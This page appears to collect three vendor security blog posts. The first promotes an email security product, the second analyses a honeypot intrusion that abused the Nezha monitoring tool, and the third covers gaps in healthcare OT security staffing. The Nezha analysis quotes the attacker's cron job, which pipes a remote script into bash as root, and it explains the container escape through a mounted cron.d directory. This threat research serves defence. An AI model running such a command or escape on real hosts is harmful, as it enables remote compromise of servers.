Blog
/
Email
/
May 9, 2023

Breaking Down "ICES": An Umbrella Term With Wide Variety

Integrated Cloud Email Security (ICES) can be an effective email security solution, but Darktrace/Email's self-learning AI should be your solution of choice.
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product
Default blog image
09
May 2023

While organizing email security solutions into categories can help security teams understand the types of products available, it can also lead to generalizations that overlook important differences within those categories and can become like comparing apples to oranges.

This is true for the Integrated Cloud Email Security (ICES) category. Among the products that qualify, there are important variations in approach that can mean the difference between stopping a novel phishing attack on the first encounter and catching it as many as 13 days later.

These distinctions highlight that not all ICES products and not all AI tools are made equal, and it’s critical to look deeper than the “ICES” label when examining an email security solution. 

What is an ICES solution?

Gartner devised the term ICES in 2021 to describe an advanced email security that augments the native capabilities of email providers by using API access to analyze email content without requiring changing the MX record. 

In other words, ICES solutions integrate with an organization’s cloud email provider to filter out malicious emails.

ICES has risen in popularity as more and more organizations shift to cloud-based or hybrid email servers, and encounter new, more sophisticated threats. Organizations pair ICES with improved native capabilities of email providers. For example, in the 2023 Market Guide for Email Security, Gartner acknowledged that “Microsoft, in particular, continues to make significant investments in improving protection effectiveness and providing better configuration guidance.” 

Native capabilities can detect traditional indicators of compromise, while ICES products can detect nuanced attacks. They integrate directly with cloud-based email providers, meaning emails do not have to be rerouted for analysis, therefore reducing the time security teams would have to spend configuring and maintaining that connection or risking operational outage. 

ICES protects against sophisticated attacks

Before the rise of ICES, the mainstream email security solutions were Secure Email Gateways (SEGs), which can be characterized as tools that rely on historic data to create rules and signatures. This purely reactive approach cannot contend with the current email threat landscape, which includes attacks that abuse legitimate services, originate from compromised known senders, or are entirely novel. They also struggle to detect multi-stage attacks and insider threats

Instead, ICES products use natural language processing and natural language understanding to identify social engineering like business email compromises, spoofing, supply chain attacks, account takeovers, and more.  However, although ICES products can detect more sophisticated threats than SEGs, not all of them can stop entirely unknown attacks. 

Achieving bespoke security with AI that understands you

Even though several ICES products rely on machine learning to identify and stop malicious emails, not all AI is the same. Typically, other vendors’ AIs are trained on insights pulled from across their respective customer-bases and past attacks. However, this does not account for nuanced distinctions that arise from organizations’ sizes, industries, or even the individual employees working at each company. 

Instead, Darktrace understands you. Self-Learning AI™ focuses on the organization it is installed in, instead of generalizing across a wider pool. Darktrace even learns on a granular level, building profiles of every individual employee by analyzing behaviors like how they typically communicate, where and when they log in, the tone and sentiment of their emails, file and link sharing patterns, and hundreds of other signals. This level of specificity ensures that the email security is tailored to each specific organization. 

The ability to learn employee behavior allows Darktrace to detect what is not normal, therefore revealing sophisticated threats on the first encounter. It can detect all types of attacks, including BEC, account takeover, insider threat, compromised internal accounts, and even human error. 

But it’s the ability to stop novel attacks upon the first encounter that sets it apart. Darktrace/Email™ can detect novel email attacks an average of 13 days earlier than email security tools that are trained on knowledge of historical threats. 

Moreover, Darktrace can take precise action to respond to threats, beyond simply allowing or blocking a suspicious email. The AI makes micro-decisions to neutralize only the malicious components of emails. For example, it might flatten an attached PDF, rewrite a shared link, or file an email as junk. 

Darktrace/Email goes further than other ICES by considering the employee experience. With an employee-AI feedback loop, the AI can fine-tune security based on the employees while also providing inline security awareness training in real-time and with real-life examples. By engaging down to the employee level, Darktrace AI can even leverage personalized insights for productivity gains, sorting out graymail based on how each user prefers to interact with it. 

Putting the “I” in “ICES”

Many ICES vendors emphasize the “integrated” part of the acronym, however Darktrace excels at this. Since Darktrace can be installed anywhere a company has data, it can natively interact across the digital estate, saving the security team time and resources otherwise spent learning various dashboards and languages, correlating data across different areas, and manually monitoring daily activity. Darktrace/Email can also integrate with external tools, including SIEMs and SOARs, to further enhance workflows

Moreover, since combining ICES solutions with native security email capabilities creates a hardened security posture, Darktrace/Email benefits from its strong, established integration with Microsoft

Introducing flexibility to ICES deployments

Finally, the security and integration capabilities of Darktrace/Email deploy easily. In the 2023 Market Guide for Email Security, Gartner predicted that “by 2025, 20% of anti-phishing solutions will be delivered via API integration with the email platform, up from less than 5% today.” Darktrace/Email can be rolled out via API or API + Journaling in Microsoft 365, whichever better fits the organization’s needs.

While all ICES products are API-based, that does not mean they are AI-first, or are using the best AI approach. Even some SEGs can deploy via API. That means that the ability to deploy via API does not guarantee a level of security that can stop the most sophisticated threats. Security teams should look beyond deployment method and select the ICES and AI solutions that provide tailored, effective security. 

Finding nuance as an ICES solution

Email security continues to advance in tandem with the threat landscape and organizations’ digital infrastructures. ICES solutions are supplanting SEGs as the mainstream email security solutions, however that broad category includes a range of tools with varying applications of AI. These differences make it critical to not put all ICES products in the same basket. 

Darktrace/Email is the only ICES solution that uses Self-Learning AI to detect all types of email threats, including novel attacks, within seconds.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Dan Fein
VP, Product

Blog

/

Network

/

June 10, 2026

How Attackers Abuse the Chinese Nezha Monitoring Tool

nezha monitoring toolDefault blog imageDefault blog image

What is Nezha?

Nezha is an open-source tool that allows system administrators to centrally monitor multiple servers, including their resource usage such as CPU and network usage, and uptime. The tool also enables remote administrative access via an interactive shell.

The project has just under 10,000 stars on GitHub and has seen widespread adoption in the Chinese IT community, with many forum posts providing guides on installation and usage.

However, Nezha’s status as a legitimate executable that has remote access capabilities creates an opportunity for misuse. Instead of deploying a regular command-and-control (C2) implant, attackers can deploy Nezha directly on compromised hosts. As these deployments are functionally indistinguishable from legitimate installations, they can blend into expected operational tooling and evade detection.

Darktrace’s analysis of a Nezha infection

Darktrace operates several high-interaction honeypots to observe attacker techniques and behaviors. Darktrace analysts observed an intrusion against the Docker-based honeypot, initiated with a malicious container create command.

 The malicious container create command.
Figure 1: The malicious container create command.

Docker allows any host file or directory to be passed through to a container, granting read and write access. In this case, the attacker made use of this to pass through the cron.d directory, which is used to schedule recurring tasks, such as maintenance or backup commands.

These commands and timings are stored in the cron.d directory, which the attacker can now write to because it is passed through to their malicious container. By writing a job to this directory from within the container, the cron service running on the host detects the new job and executes it on the host, effectively allowing the attacker to escape the container.

The attacker the created a malicious cron job named ngk:
* * * * * root curl hxxps://file.gpu5[.]com/linux_install.sh | bash

This resulted in the host downloading and running the linux_install.sh file with root privileges.

The linux_install script installs several dependencies, sets up environmental variables, and retrieves a second-stage script (nezha_install.sh) from the same domain.

The linux_install script.
Figure 2: The linux_install script.

The nezha_install.sh script based on the official Nezha installer but has been modified to hard code configuration values, such as the server address, and to remove interactive prompts, allowing it to be installed without user input.

Open by design

One of Nezha’s most interesting design choices is that its main monitoring panel does not require authentication to view a list of monitored hosts. This exposes a list of compromised systems via the attacker-controlled panel, enabling direct observation of the operation’s scale, victimology and infrastructure.

The attacker’s Nezha dashboard.
Figure 3: The attacker’s Nezha dashboard.

At the time of analysis, the campaign had infected 141 servers, with 45 still online and accessible.  The number of online servers was previously higher, suggesting that some victims may have discovered and removed the infection.

The exposed dashboard provides insights into victim characteristics, including geographic distribution, hardware specification, and resource usage. Most infected hosts were low-spec systems, commonly one or two core Xeon CPUs and less than 4GB of RAM, indicating they were likely small virtual private servers (VPS) with limited value to the attacker.

Many systems also exhibited 100% CPU usage, which may indicate concurrent compromise, such as cryptocurrency mining activity by other threat actors.

Open-source intelligence platforms such as Shodan and Censys can also identify publicly exposed instances of Nezha. Although authentication is required to execute commands on a monitored server, visibility into dashboards still provides valuable intelligence for attackers and defenders alike.

At the time of writing, Darktrace identified 33 internet-facing Nezha installations as openly accessible.

Key takeaways

The abuse of legitimate software has become a consistent feature of modern intrusion activity, enabling attackers to operate without deploying traditional malware and reducing the risk of detection.

This creates a form of “trust inversion”, where tools typically associated with routine operations may instead indicate malicious activity when deployed outside expected contexts. Organizations should therefore prioritize asset visibility and software governance, ensuring that unexpected tool deployments can be identified and investigated, rather than focusing solely on malware-centric detection.

This challenge is especially pronounced in cloud environments, where legitimate monitoring tools may represent either essential software or an attacker backdoor. The scale and dynamic nature of cloud environments further complicate distinguishing between benign and malicious use.

Credit to Nathaniel Bill (Malware Research Engineer)
Edited by Ryan Traill (Content Manager)

Continue reading
About the author
Nathaniel Bill
Malware Research Engineer

Blog

/

OT

/

June 9, 2026

Healthcare’s OT Cybersecurity Gap: Why Hospitals Must Make the Same Security Investments as Regulated Critical Infrastructures

healthcare OTDefault blog imageDefault blog image

Rethinking the healthcare attack surface

When most people think about Operational Technology (OT) cybersecurity, they think about oil & gas pipelines, utilities, manufacturing plants, or power grids. However, hospitals & healthcare systems have quickly become a point of focus in the OT cybersecurity community as they do employ a variety of OT in the form of IoMT (Internet of Medical Things) networked devices such as: infusion pumps, imaging systems, patient monitoring equipment, laboratory systems, and traditional industrial control systems (ICS) in the form of smart building management systems (BMS) and even on site power generation control systems. 

These healthcare environments are no longer just traditional IT ecosystems, they are cyber-physical environments where disruption can directly impact patient care, operational continuity, and ultimately patient safety.

The OT cybersecurity expertise gap in healthcare organizations

Our research in the OT cybersecurity space revealed a concerning trend. Many hospitals and healthcare networks lack dedicated OT cybersecurity teams, OT security full time employees (FTE) and even OT expertise in the form of OT security certifications when compared to other critical infrastructure sectors.

On the other hand, within industries such as energy and manufacturing, we encounter more mature OT security programs that employ full time employees  dedicated to OT cybersecurity with OT security certifications and expertise to secure industrial and operational environments and lead investment in OT security processes and technology.

When reviewing the top 20 U.S. Hospitals by market cap, given what is publicly available on LinkedIn, only one FTE with an OT cybersecurity certification was found. The certifications that were searched for include: GIAC GICSP, GIAC GRID, GIAC GCIP and all ISA/IEC 62443 certifications. When replicating this same search across the top 20 utility providers in the US, 73 FTEs with OT related certifications were identified. As a control group, we looked within financial services, an industry NOT expected to have OT systems worth investing in FTEs to protect. However, the top 20 US financial institutions had 18 FTEs with OT related certifications. 

What these findings reveal

Overall, the findings regarding healthcare investment in OT security FTEs are surprising given how operationally dependent modern healthcare has become on OT. So why aren't hospitals investing in OT security personnel at the rate of peer critical infrastructures? It could just be lack of awareness; however, there are other, more plausible reasons.  

Based on historical trends in cyber incidents within the healthcare space, one could speculate that there is significantly greater likelihood of being victim to an attack that  focuses on extortion or data theft rather than an attack on specific OT systems. The amount of ransomware events incurred in healthcare, that historically do not target OT systems, may divert attention and security investment to the parts of the attack surface most likely to be targeted by ransomware. Additionally, data theft is a relevant threat objective for hospitals given PHI, PCI and PII, and data theft does not traditionally align with attacks targeting OT.  

However, with focused investment to address data theft and with adversaries new capability to string together chains of vulnerabilities of different severity scores using advancements in AI, we could be entering a threat landscape where adversaries pivot their tactics to target exposed and under protected devices and systems like OT. For example, although not a patient records database, predominant IOMT protocols HL7 and DICOM are unencrypted plaintext protocols and unless encrypted it is very simple for adversaries, who are sniffing traffic, to identify protected health information (PHI) in these communication protocols.

Why OT cybersecurity expertise can be effective for healthcare organizations

The convergence of IT, OT, and IoMT is already here, and threat actors are increasingly aware of the operational vulnerabilities that come with it. Additionally, as AI solutions such as agentic or generative applications are adopted and deployed, the attack surface will continue to change as permissions, and new connections will exist to support AI efficiency. From a cybersecurity standpoint, the reality is that many healthcare organizations are still working to establish consistent visibility and governance across their enterprise-connected devices and systems as their attack surface is changing in real time.  As the healthcare sector remains a significant target for cyber-attacks, hospitals would be well advised to begin addressing their operational environments OT as a critical component of their attack surface and invest in securing them first with people, then process and technology. 

What can healthcare organizations do to secure their OT

Including OT in current cybersecurity processes such as red teaming and testing incident response plans that take OT into account alongside building dedicated OT security capabilities including improving OT network visibility, leveraging OT network anomaly detection, micro-segmentation, and secure remote access will become essential steps in strengthening healthcare resilience. 

However, before any of the above processes or investments in technology can be made, these healthcare organizations, like the other critical infrastructure sectors, need to invest in the people with the experience in OT security to lead, implement, manage and audit the investment in OT cybersecurity technology and processes.  In cases where headcount cannot be added, investment in OT security certifications, such as the ones listed in this article, and participation on OT security events focused on practitioner training for existing cybersecurity employees can move the needle in terms of bringing OT expertise to the existing team.  

In an industry where uptime and safety are as mission critical as they are for a power utility, OT cybersecurity FTEs can no longer be viewed as optional for healthcare organizations and must become part of the foundation of modern healthcare cybersecurity strategy. 

[related-resource]

Continue reading
About the author
Daniel Simonds
Director of Operational Technology
Your data. Our AI.
Elevate your network security with Darktrace AI